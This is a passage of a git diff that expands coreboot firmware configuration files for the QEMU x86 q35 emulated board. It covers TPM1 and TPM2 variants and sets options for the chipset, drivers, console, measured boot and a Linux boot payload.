CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_MAINBOARD_HAS_CHROMEOS=y + +# +# ChromeOS +# +# end of ChromeOS + +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_VGA=y +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set +CONFIG_TPM=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +CONFIG_CONSOLE_QEMU_DEBUGCON=y +CONFIG_CONSOLE_QEMU_DEBUGCON_PORT=0x402 +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=6 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_HWBASE_DEBUG_NULL=y +# end of Console + +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_DECOMPRESS_OFAST=y +CONFIG_PROBE_RAM=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index f74947e94..2d9dcbcbe 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -1,29 +1,564 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set CONFIG_CCACHE=y +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y # CONFIG_INCLUDE_CONFIG_FILE is not set +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +CONFIG_NO_STAGE_CACHE=y +# CONFIG_CBMEM_STAGE_CACHE is not set +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +CONFIG_VENDOR_EMULATION=y +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="emulation/qemu-q35" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Emulation" CONFIG_CBFS_SIZE=0xfe0000 # CONFIG_CONSOLE_SERIAL is not set +CONFIG_MAX_CPUS=4 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VBOOT_VBNV_OFFSET=0x2c +# CONFIG_CHROMEOS is not set +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=0 +# CONFIG_CONSOLE_POST is not set +CONFIG_TPM_PIRQ=0x0 +# CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set +# CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set +# CONFIG_BOARD_EMULATION_QEMU_X86_I440FX is not set +# CONFIG_BOARD_EMULATION_QEMU_POWER8 is not set +# CONFIG_BOARD_EMULATION_QEMU_POWER9 is not set CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y +# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set +# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set +# CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0x10000 +CONFIG_DCACHE_RAM_SIZE=0x90000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_D3COLD_SUPPORT=y CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_QEMU_X86=y +# CONFIG_CPU_QEMU_X86_NO_SMM is not set +CONFIG_CPU_QEMU_X86_ASEG_SMM=y +# CONFIG_CPU_QEMU_X86_TSEG_SMM is not set +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_UNKNOWN_TSC_RATE=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_ASEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y + +# +# Northbridge +# + +# +# Southbridge +# # CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_SOUTHBRIDGE_INTEL_I82801IX=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_MAINBOARD_HAS_CHROMEOS=y + +# +# ChromeOS +# +# end of ChromeOS + +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_VGA=y +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +# CONFIG_TPM1 is not set CONFIG_TPM2=y +CONFIG_TPM=y +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM2 is not set 